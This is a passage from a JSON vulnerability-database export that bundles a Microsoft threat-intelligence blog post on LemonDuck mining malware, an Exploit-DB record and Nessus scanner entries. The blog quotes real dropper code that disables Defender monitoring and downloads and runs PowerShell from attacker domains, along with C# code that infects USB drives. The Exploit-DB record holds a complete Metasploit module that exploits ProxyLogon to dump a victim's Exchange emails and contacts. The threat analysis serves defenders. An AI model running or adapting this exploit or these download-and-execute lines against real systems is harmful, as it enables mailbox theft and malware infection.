"integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-07-29T19:00:59", "type": "mssecure", "title": "When coin miners evolve, Part 2: Hunting down LemonDuck and LemonCat attacks", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-0144", "CVE-2017-8464", "CVE-2019-0708", "CVE-2020-0796", "CVE-2021-26855", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-07-29T19:00:59", "id": "MSSECURE:4A6B394DCAF12E05136AE087248E228C", "href": "https://www.microsoft.com/security/blog/2021/07/29/when-coin-miners-evolve-part-2-hunting-down-lemonduck-and-lemoncat-attacks/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-30T00:08:30", "description": "_[Note: In this two-part blog series, we expose a modern malware infrastructure and provide guidance for protecting against the wide range of threats it enables. Part 1 covers the evolution of the threat, how it spreads, and how it impacts organizations. [Part 2](<https://www.microsoft.com/security/blog/2021/07/29/when-coin-miners-evolve-part-2-hunting-down-lemonduck-and-lemoncat-attacks/>) is a deep dive on the attacker behavior and will provide investigation guidance.] _\n\nCombating and preventing today's threats to enterprises require comprehensive protection focused on addressing the full scope and impact of attacks. Anything that can gain access to machines\u2014even so-called commodity malware\u2014can bring in more dangerous threats. We\u2019ve seen this in banking Trojans serving as entry point for ransomware and hands-on-keyboard attacks. LemonDuck, an actively updated and robust malware that\u2019s primarily known for its botnet and cryptocurrency mining objectives, followed the same trajectory when it adopted more sophisticated behavior and escalated its operations. Today, beyond using resources for its traditional bot and mining activities, LemonDuck steals credentials, removes security controls, spreads via emails, moves laterally, and ultimately drops more tools for human-operated activity.\n\nLemonDuck\u2019s threat to enterprises is also in the fact that it\u2019s a cross-platform threat. It\u2019s one of a few documented bot malware families that targets Linux systems as well as Windows devices. It uses a wide range of spreading mechanisms\u2014phishing emails, exploits, USB devices, brute force, among others\u2014and it has shown that it can quickly take advantage of news, events, or the release of new exploits to run effective campaigns. For example, in 2020, it was observed using COVID-19-themed lures in email attacks. In 2021, it exploited newly patched [Exchange Server vulnerabilities](<https://www.microsoft.com/security/blog/2021/03/25/analyzing-attacks-taking-advantage-of-the-exchange-server-vulnerabilities/>) to gain access to outdated systems.\n\nThis threat, however, does not just limit itself to new or popular vulnerabilities. It continues to use older vulnerabilities, which benefit the attackers at times when focus shifts to patching a popular vulnerability rather than investigating compromise. Notably, LemonDuck removes other attackers from a compromised device by getting rid of competing malware and preventing any new infections by patching the same vulnerabilities it used to gain access.\n\nIn the early years, LemonDuck targeted China heavily, but its operations have since expanded to include many other countries, focusing on the manufacturing and IoT sectors. Today, LemonDuck impacts a very large geographic range, with the United States, Russia, China, Germany, the United Kingdom, India, Korea, Canada, France, and Vietnam seeing the most encounters.\n\n\n\n_Figure 1. Global distribution of LemonDuck botnet activity_\n\nIn 2021, LemonDuck campaigns started using more diversified command and control (C2) infrastructure and tools. This update supported the marked increase in hands-on-keyboard actions post-breach, which varied depending on the perceived value of compromised devices to the attackers. Despite all these upgrades, however, LemonDuck still utilizes C2s, functions, script structures, and variable names for far longer than the average malware. This is likely due to its use of bulletproof hosting providers such as Epik Holdings, which are unlikely to take any part of the LemonDuck infrastructure offline even when reported for malicious actions, allowing LemonDuck to persist and continue to be a threat.\n\nIn-depth research into malware infrastructures of various sizes and operations provides invaluable insight into the breadth of threats that organizations face today. In the case of LemonDuck, the threat is cross-platform, persistent, and constantly evolving. Research like this emphasizes the importance of having comprehensive visibility into the wide range of threats, as well as the ability to correlate simple, disparate activity such as coin mining to more dangerous adversarial attacks.\n\n## LemonDuck and LemonCat infrastructure\n\nThe earliest documentation of LemonDuck was from its cryptocurrency campaigns in May 2019. These campaigns included PowerShell scripts that employed additional scripts kicked off by a scheduled task. The task was used to bring in the PCASTLE tool to achieve a couple of goals: abuse the EternalBlue SMB exploit, as well as use brute force or pass-the-hash to move laterally and begin the operation again. Many of these behaviors are still observed in LemondDuck campaigns today.\n\nLemonDuck is named after the variable \u201cLemon_Duck\u201d in one of the said PowerShell scripts. The variable is often used as the user agent, in conjunction with assigned numbers, for infected devices. The format used two sets of alphabetical characters separated by dashes, for example: \u201cUser-Agent: Lemon-Duck-[A-Z]-[A-Z]\u201d. The term still appears in PowerShell scripts, as well as in many of the execution scripts, specifically in a function called SIEX, which is used to assign a unique user-agent during botnet connection in attacks as recently as June 2021.\n\nLemonDuck frequently utilizes open-source material built off of resources also used by other botnets, so there are many components of this threat that would seem familiar. Microsoft researchers are aware of two distinct operating structures, which both use the LemonDuck malware but are potentially operated by two different entities for separate goals.\n\nThe first, which we call the \u201cDuck\u201d infrastructure, uses historical infrastructures discussed in this report. It is highly consistent in running campaigns and performs limited follow-on activities. This infrastructure is seldom seen in conjunction with edge device compromise as an infection method, and is more likely to have random display names for its C2 sites, and is always observed utilizing \u201cLemon_Duck\u201d explicitly in script.\n\nThe second infrastructure, which we call \u201cCat\u201d infrastructure\u2014for primarily using two domains with the word \u201ccat\u201d in them (_sqlnetcat[.]com_, _netcatkit[.]com_)\u2014emerged in January 2021. It was used in attacks exploiting vulnerabilities in Microsoft Exchange Server. Today, the Cat infrastructure is used in attacks that typically result in backdoor installation, credential and data theft, and malware delivery. It is often seen delivering the malware Ramnit.\n\n \n\n**Sample Duck domains** | **Sample Cat domains** \n---|--- \n \n * cdnimages[.]xyz\n * bb3u9[.]com\n * zz3r0[.]com\n * pp6r1[.]com\n * amynx[.]com\n * ackng[.]com\n * hwqloan[.]com\n * js88[.]ag\n * zer9g[.]com\n * b69kq[.]com\n| \n\n * sqlnetcat[.]com\n * netcatkit[.]com\n * down[.]sqlnetcat[.]com\n\n \n \nThe Duck and Cat infrastructures use similar subdomains, and they use the same task names, such as \u201cblackball\u201d. Both infrastructures also utilize the same packaged components hosted on similar or identical sites for their mining, lateral movement, and competition-removal scripts, as well as many of the same function calls.\n\nThe fact that the Cat infrastructure is used for more dangerous campaigns does not deprioritize malware infections from the Duck infrastructure. Instead, this intelligence adds important context for understanding this threat: the same set of tools, access, and methods can be re-used at dynamic intervals, to greater impact. Despite common implications that cryptocurrency miners are less threatening than other malware, its core functionality mirrors non-monetized software, making any botnet infection worthy of prioritization.\n\n\n\n_Figure 2. LemonDuck attack chain from the Duck and Cat infrastructures_\n\n## Initial access\n\nLemonDuck spreads in a variety of ways, but the two main methods are (1) compromises that are either edge-initiated or facilitated by bot implants moving laterally within an organization, or (2) bot-initiated email campaigns.\n\nLemonDuck acts as a loader for many other follow-on activities, but one if its main functions is to spread by compromising other systems. Since its first appearance, the LemonDuck operators have leveraged scans against both Windows and Linux devices for open or weakly authenticated SMB, Exchange, SQL, Hadoop, REDIS, RDP, or other edge devices that might be vulnerable to password spray or application vulnerabilities like CVE-2017-0144 (EternalBlue), CVE-2017-8464 (LNK RCE), CVE-2019-0708 (BlueKeep), CVE-2020-0796 (SMBGhost), CVE-2021-26855 (ProxyLogon), CVE-2021-26857 (ProxyLogon), CVE-2021-26858 (ProxyLogon), and CVE-2021-27065 (ProxyLogon).\n\nOnce inside a system with an Outlook mailbox, as part of its normal exploitation behavior, LemonDuck attempts to run a script that utilizes the credentials present on the device. The script instructs the mailbox to send copies of a phishing message with preset messages and attachments to all contacts.\n\nBecause of this method of contact messaging, security controls that rely on determining if an email is sent from a suspicious sender don\u2019t apply. This means that email security policies that reduce scanning or coverage for internal mail need to be re-evaluated, as sending emails through contact scraping is very effective at bypassing email controls.\n\nFrom mid-2020 to March 2021, LemonDuck\u2019s email subjects and body content have remained static, as have the attachment names and formats. These attachment names and formats have changed very little from similar campaigns that occurred in early 2020.\n\n \n\n**Sample email subjects ** | **Sample email body content** \n---|--- \n \n * The Truth of COVID-19\n * COVID-19 nCov Special info WHO\n * HALTH ADVISORY:CORONA VIRUS\n * WTF\n * What the fcuk\n * good bye\n * farewell letter\n * broken file\n * This is your order?\n| \n\n * Virus actually comes from United States of America\n * very important infomation for Covid-19\n * see attached document for your action and discretion.\n * the outbreak of CORONA VIRUS is cause of concern especially where forign personal have recently arrived or will be arriving at various intt in near future.\n * what's wrong with you?are you out of your mind!!!!!\n * are you out of your mind!!!!!what 's wrong with you?\n * good bye, keep in touch\n * can you help me to fix the file,i can't read it\n * file is brokened, i can't open it \n \nThe attachment used for these lures is one of three types: .doc, .js, or a .zip containing a .js file. Whatever the type, the file is named \u201creadme\u201d. Occasionally, all three types are present in the same email.\n\n\n\n_Figure 3. Sample email_\n\nWhile the JavaScript is detected by many security vendors, it might be classified with generic detection names. It could be valuable for organizations to sanitize JavaScript or VBScript executing or calling prompts (such as PowerShell) directly from mail downloads through solutions such as [custom detection rules](<https://docs.microsoft.com/en-us/microsoft-365/security/defender/custom-detection-rules?view=o365-worldwide>).\n\nSince LemonDuck began operating, the .zip to .js file execution method is the most common. The JavaScript has replaced the scheduled task that LemonDuck previously used to kickstart the PowerShell script. This PowerShell script has looked very similar throughout 2020 and 2021, with minor changes depending on the version, indicating continued development. Below is a comparison of changes from the most recent iterations of the email-delivered downloads and those from April of 2020.\n\n \n\n**April 2020 PowerShell script** | **March 2021 PowerShell script** \n---|--- \n`var cmd =new ActiveXObject(\"WScript.Shell\");var cmdstr=\"cmd /c start /b notepad \"+WScript.ScriptFullName+\" & powershell -w hidden -c \\\"if([Environment]::OSVersion.version.Major -eq '10'){Set-ItemProperty -Path 'HKCU:\\Environment' -Name 'windir' -Value 'cmd /c powershell -w hidden Set-MpPreference -DisableRealtimeMonitoring 1 & powershell -w hidden IEx(New-Object Net.WebClient).DownLoadString(''http://t.awcna.com/mail.jsp?js*%username%*%computername%''+[Environment]::OSVersion.version.Major) &::';sleep 1;schtasks /run /tn \\\\Microsoft\\\\Windows\\\\DiskCleanup\\\\SilentCleanup /I;Remove-ItemProperty -Path 'HKCU:\\Environment' -Name 'windir' -Force}else{IEx(ne`w-obj`ect Net.WebC`lient).DownloadString('http://t.awcna.com/7p.php');bpu -method migwiz -Payload 'powershell -w hidden IEx(New-Object Net.WebClient).DownLoadString(''http://t.awcna.com/mail.jsp?js*%username%*%computername%''+[Environment]::OSVersion.version.Majo \n//This File is broken.` | `var cmd =new ActiveXObject(\"WScript.Shell\");var cmdstr=\"cmd /c start /b notepad \"+WScript.ScriptFullName+\" & powershell -w hidden IE`x(Ne`w-Obj`ect Net.WebC`lient).DownLoadString('http://t.z'+'z3r0.com/7p.php?0.7*mail_js*%username%*%computername%*'+[Environment]::OSVersion.version.Major);bpu ('http://t.z'+'z3r0.com/mail.jsp?js_0.7')\";cmd.run(cmdstr,0,1); \n//This File is broken.` \n \n \n\nAfter the emails are sent, the inbox is cleaned to remove traces of these mails. This method of self-spreading is attempted on any affected device that has a mailbox, regardless of whether it is an Exchange server.\n\nOther common methods of infection include movement within the compromised environment, as well as through USB and connected drives. These processes are often kicked off automatically and have occurred consistently throughout the entirety of LemonDuck\u2019s operation.\n\nThese methods run as a series of C# scripts that gather available drives for infection. They also create a running list of drives that are already infected based on whether it finds the threat already installed. Once checked against the running list of infected drives, these scripts attempt to create a set of hidden files in the home directory, including a copy of _readme.js_. Any device that has been affected by the LemonDuck implants at any time could have had any number of drives attached to it that are compromised in this manner. This makes this behavior a possible entry vector for additional attacks.\n\n`DriveInfo[] drives = DriveInfo.GetDrives(); \nforeach (DriveInfo drive in drives) \n{ \nif (blacklist.Contains(drive.Name)) \n{ continue;} \nConsole.WriteLine(\"Detect drive:\"+drive.Name); \nif (IsSupported(drive)) \n{ \nif (!File.Exists(drive + home + inf_data)) \n{ \nConsole.WriteLine(\"Try to infect \"+drive.Name); \nif (CreateHomeDirectory(drive.Name) && Infect(drive.Name)) \n{ \nblacklist.Add(drive.Name); \n} \n} \nelse { \nConsole.WriteLine(drive.Name+\" already infected!\"); \nblacklist.Add(drive.Name); \n} \n} \nelse{ \nblacklist.Add(drive.Name);`\n\n## Comprehensive protection against a wide-ranging malware operation\n\nThe cross-domain visibility and coordinated defense delivered by [Microsoft 365 Defender](<https://www.microsoft.com/en-us/microsoft-365/security/microsoft-365-defender>) is designed for the wide range and increasing sophistication of threats that LemonDuck exemplifies. Microsoft 365 Defender has AI-powered industry-leading protections that can stop multi-component threats like LemonDuck across domains and across platforms. Microsoft 365 Defender for Office 365 detects the malicious emails sent by the LemonDuck botnet to deliver malware payloads as well as spread the bot loader. Microsoft Defender for Endpoint detects and blocks LemonDuck implants, payloads, and malicious activity on Linux and Windows.\n\nMore importantly, Microsoft 365 Defender provides rich investigation tools that can expose detections of LemonDuck activity, including attempts to compromise and gain a foothold on the network, so security operations teams can efficiently and confidently respond to and resolve these attacks. Microsoft 365 Defender correlates cross-platform, cross-domain signals to paint the end-to-end attack chain, allowing organizations to see the full impact of an attack. We also published a threat analytics article on this threat. Microsoft 365 Defender customers can use this report to get important technical details, guidance for investigation, consolidated incidents, and steps to mitigate this threat in particular and modern cyberattacks in general.\n\nIn Part 2 of this blog series, we share our in-depth technical analysis of the malicious actions that follow a LemonDuck infection. These include general, automatic behavior as well as human-initialized behavior. We will also provide guidance for investigating LemonDuck attacks, as well as mitigation recommendations for strengthening defenses against these attacks. **READ: [When coin miners evolve, Part 2: Hunting down LemonDuck and LemonCat attacks](<https://www.microsoft.com/security/blog/2021/07/29/when-coin-miners-evolve-part-2-hunting-down-lemonduck-and-lemoncat-attacks/>).**\n\n \n\n_Microsoft 365 Defender Threat Intelligence Team_\n\nThe post [When coin miners evolve, Part 1: Exposing LemonDuck and LemonCat, modern mining malware infrastructure](<https://www.microsoft.com/security/blog/2021/07/22/when-coin-miners-evolve-part-1-exposing-lemonduck-and-lemoncat-modern-mining-malware-infrastructure/>) appeared first on [Microsoft Security Blog](<https://www.microsoft.com/security/blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-07-22T16:00:57", "type": "mssecure", "title": "When coin miners evolve, Part 1: Exposing LemonDuck and LemonCat, modern mining malware infrastructure", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-0144", "CVE-2017-8464", "CVE-2019-0708", "CVE-2020-0796", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-07-22T16:00:57", "id": "MSSECURE:E537BA51663A720821A67D2A4F7F7F0E", "href": "https://www.microsoft.com/security/blog/2021/07/22/when-coin-miners-evolve-part-1-exposing-lemonduck-and-lemoncat-modern-mining-malware-infrastructure/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "exploitdb": [{"lastseen": "2022-08-16T06:04:56", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-05-21T00:00:00", "type": "exploitdb", "title": "Microsoft Exchange 2019 - Unauthenticated Email Download (Metasploit)", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["2021-26855", "CVE-2021-26855", "CVE-2021-27065"], "modified": "2021-05-21T00:00:00", "id": "EDB-ID:49895", "href": "https://www.exploit-db.com/exploits/49895", "sourceData": "# Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download (Metasploit)\r\n# Date: 2021-03-02\r\n# Exploit Author: RAMELLA S\u00e9bastien\r\n# Vendor Homepage: https://microsoft.com\r\n# Version: This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,\r\n Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,\r\n Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).\r\n# Tested on: Microsoft Windows 2012 R2 - Exchange 2016\r\n\r\n##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\n# begin auxiliary class\r\nclass MetasploitModule < Msf::Auxiliary\r\n include Msf::Exploit::Remote::HttpClient\r\n\r\n def initialize(info = {})\r\n super(\r\n update_info(\r\n info,\r\n 'Name' => 'Microsoft Exchange ProxyLogon Collector',\r\n 'Description' => %q{\r\n This module scan for a vulnerability on Microsoft Exchange Server that\r\n allows an attacker bypassing the authentication and impersonating as the\r\n admin (CVE-2021-26855).\r\n\r\n By chaining this bug with another post-auth arbitrary-file-write\r\n vulnerability to get code execution (CVE-2021-27065).\r\n\r\n As a result, an unauthenticated attacker can execute arbitrary commands on\r\n Microsoft Exchange Server.\r\n\r\n This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,\r\n Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,\r\n Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).\r\n\r\n All components are vulnerable by default.\r\n },\r\n 'Author' => [\r\n 'mekhalleh (RAMELLA S\u00e9bastien)' # Module author (Zeop Entreprise)\r\n ],\r\n 'References' => [\r\n ['CVE', '2021-26855'],\r\n ['LOGO', 'https://proxylogon.com/images/logo.jpg'],\r\n ['URL', 'https://proxylogon.com/'],\r\n ['URL', 'https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse'],\r\n ['URL', 'http://aka.ms/exchangevulns']\r\n ],\r\n 'DisclosureDate' => '2021-03-02',\r\n 'License' => MSF_LICENSE,\r\n 'DefaultOptions' => {\r\n 'RPORT' => 443,\r\n 'SSL' => true\r\n },\r\n 'Notes' => {\r\n 'AKA' => ['ProxyLogon']\r\n }\r\n )\r\n )\r\n\r\n register_options([\r\n OptString.new('EMAIL', [true, 'The email account what you want dump']),\r\n OptString.new('FOLDER', [true, 'The email folder what you want dump', 'inbox']),\r\n OptString.new('SERVER_NAME', [true, 'The name of secondary internal Exchange server targeted'])\r\n ])\r\n\r\n register_advanced_options([\r\n OptInt.new('MaxEntries', [false, 'Override the maximum number of object to dump', 512])\r\n ])\r\n end\r\n\r\n XMLNS = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }.freeze\r\n\r\n def grab_contacts\r\n response = send_xml(soap_findcontacts)\r\n xml = Nokogiri::XML.parse(response.body)\r\n\r\n data = xml.xpath('//t:Contact', XMLNS)\r\n if data.empty?\r\n print_status(' - the user has no contacts')\r\n else\r\n write_loot(data.to_s)\r\n end\r\n end\r\n\r\n def grab_emails(total_count)\r\n # get the emails list of the target folder.\r\n response = send_xml(soap_maillist(total_count))\r\n xml = Nokogiri::XML.parse(response.body)\r\n\r\n # iteration to download the emails.\r\n xml.xpath('//t:ItemId', XMLNS).each do |item|\r\n print_status(\" - download item: #{item.values[1]}\")\r\n response = send_xml(soap_download(item.values[0], item.values[1]))\r\n xml = Nokogiri::XML.parse(response.body)\r\n\r\n message = xml.at_xpath('//t:MimeContent', XMLNS).content\r\n write_loot(Rex::Text.decode_base64(message))\r\n end\r\n end\r\n\r\n def send_xml(data)\r\n uri = normalize_uri('ecp', 'temp.js')\r\n\r\n received = send_request_cgi(\r\n 'method' => 'POST',\r\n 'uri' => uri,\r\n 'cookie' => \"X-BEResource=#{datastore['SERVER_NAME']}/EWS/Exchange.asmx?a=~3;\",\r\n 'ctype' => 'text/xml; charset=utf-8',\r\n 'data' => data\r\n )\r\n fail_with(Failure::Unknown, 'Server did not respond in an expected way') unless received\r\n\r\n received\r\n end\r\n\r\n def soap_download(id, change_key)\r\n <<~SOAP\r\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\r\n xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\"\r\n xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\"\r\n xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\r\n <soap:Body>\r\n <m:GetItem>\r\n <m:ItemShape>\r\n <t:BaseShape>IdOnly</t:BaseShape>\r\n <t:IncludeMimeContent>true</t:IncludeMimeContent>\r\n </m:ItemShape>\r\n <m:ItemIds>\r\n <t:ItemId Id=\"#{id}\" ChangeKey=\"#{change_key}\" />\r\n </m:ItemIds>\r\n </m:GetItem>\r\n </soap:Body>\r\n </soap:Envelope>\r\n SOAP\r\n end\r\n\r\n def soap_findcontacts\r\n <<~SOAP\r\n <?xml version='1.0' encoding='utf-8'?>\r\n <soap:Envelope\r\n xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'\r\n xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'\r\n xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'\r\n xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>\r\n <soap:Body>\r\n <m:FindItem Traversal='Shallow'>\r\n <m:ItemShape>\r\n <t:BaseShape>AllProperties</t:BaseShape>\r\n </m:ItemShape>\r\n <m:IndexedPageItemView MaxEntriesReturned=\"#{datastore['MaxEntries']}\" Offset=\"0\" BasePoint=\"Beginning\" />\r\n <m:ParentFolderIds>\r\n <t:DistinguishedFolderId Id='contacts'>\r\n <t:Mailbox>\r\n <t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>\r\n </t:Mailbox>\r\n </t:DistinguishedFolderId>\r\n </m:ParentFolderIds>\r\n </m:FindItem>\r\n </soap:Body>\r\n </soap:Envelope>\r\n SOAP\r\n end\r\n\r\n def soap_mailnum\r\n <<~SOAP\r\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\r\n xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\"\r\n xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\"\r\n xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\r\n <soap:Body>\r\n <m:GetFolder>\r\n <m:FolderShape>\r\n <t:BaseShape>Default</t:BaseShape>\r\n </m:FolderShape>\r\n <m:FolderIds>\r\n <t:DistinguishedFolderId Id=\"#{datastore['FOLDER']}\">\r\n <t:Mailbox>\r\n <t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>\r\n </t:Mailbox>\r\n </t:DistinguishedFolderId>\r\n </m:FolderIds>\r\n </m:GetFolder>\r\n </soap:Body>\r\n </soap:Envelope>\r\n SOAP\r\n end\r\n\r\n def soap_maillist(max_entries)\r\n <<~SOAP\r\n <?xml version='1.0' encoding='utf-8'?>\r\n <soap:Envelope\r\n xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'\r\n xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'\r\n xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'\r\n xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>\r\n <soap:Body>\r\n <m:FindItem Traversal='Shallow'>\r\n <m:ItemShape>\r\n <t:BaseShape>AllProperties</t:BaseShape>\r\n </m:ItemShape>\r\n <m:IndexedPageItemView MaxEntriesReturned=\"#{max_entries}\" Offset=\"0\" BasePoint=\"Beginning\" />\r\n <m:ParentFolderIds>\r\n <t:DistinguishedFolderId Id='#{datastore['FOLDER']}'>\r\n <t:Mailbox>\r\n <t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>\r\n </t:Mailbox>\r\n </t:DistinguishedFolderId>\r\n </m:ParentFolderIds>\r\n </m:FindItem>\r\n </soap:Body>\r\n </soap:Envelope>\r\n SOAP\r\n end\r\n\r\n def write_loot(data)\r\n loot_path = store_loot('', 'text/plain', datastore['RHOSTS'], data, '', '')\r\n print_good(\" - file saved to #{loot_path}\")\r\n end\r\n\r\n def run\r\n # get the informations about the targeted user account.\r\n response = send_xml(soap_mailnum)\r\n if response.body =~ /Success/\r\n print_status('Connection to the server is successful')\r\n print_status(\" - selected account: #{datastore['EMAIL']}\\n\")\r\n\r\n # grab contacts.\r\n print_status('Attempt to dump contacts list for this user')\r\n grab_contacts\r\n\r\n print_line\r\n\r\n # grab emails.\r\n print_status('Attempt to dump emails for this user')\r\n xml = Nokogiri::XML.parse(response.body)\r\n folder_id = xml.at_xpath('//t:FolderId', XMLNS).values\r\n print_status(\" - selected folder: #{datastore['FOLDER']} (#{folder_id[0]})\")\r\n\r\n total_count = xml.at_xpath('//t:TotalCount', XMLNS).content\r\n print_status(\" - number of email found: #{total_count}\")\r\n\r\n if total_count.to_i > datastore['MaxEntries']\r\n print_warning(\" - number of email recaluled due to max entries: #{datastore['MaxEntries']}\")\r\n total_count = datastore['MaxEntries'].to_s\r\n end\r\n grab_emails(total_count)\r\n end\r\n end\r\n\r\nend", "sourceHref": "https://www.exploit-db.com/download/49895", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "nessus": [{"lastseen": "2023-03-09T15:14:07", "description": "This plugin detects the potential presence of a web shell in selected directories and this can be indicative that the host might have been targeted in the Hafnium campaign. It is recommended that the results are manually verified and appropriate remediation actions taken.\n\nNote that Nessus has not tested for this issue but has instead looked for .aspx files that could potentially indicate compromise.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-03-08T00:00:00", "type": "nessus", "title": "Potential exposure to Hafnium Microsoft Exchange targeting", "bulletinFamily": "scanner", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2023-03-08T00:00:00", "cpe": ["cpe:/a:microsoft:exchange_server"], "id": "HAFNIUM_IOC_DETECT.NBIN", "href": "https://www.tenable.com/plugins/nessus/147193", "sourceData": "Binary data hafnium_ioc_detect.nbin", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-01T14:46:27", "description": "The Microsoft Exchange Server installed on the remote host is missing security updates. It is, therefore, affected by multiple vulnerabilities:\n\n - A remote code execution vulnerability. An attacker could exploit this to execute unauthorized arbitrary code. (CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, CVE-2021-27078)", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": 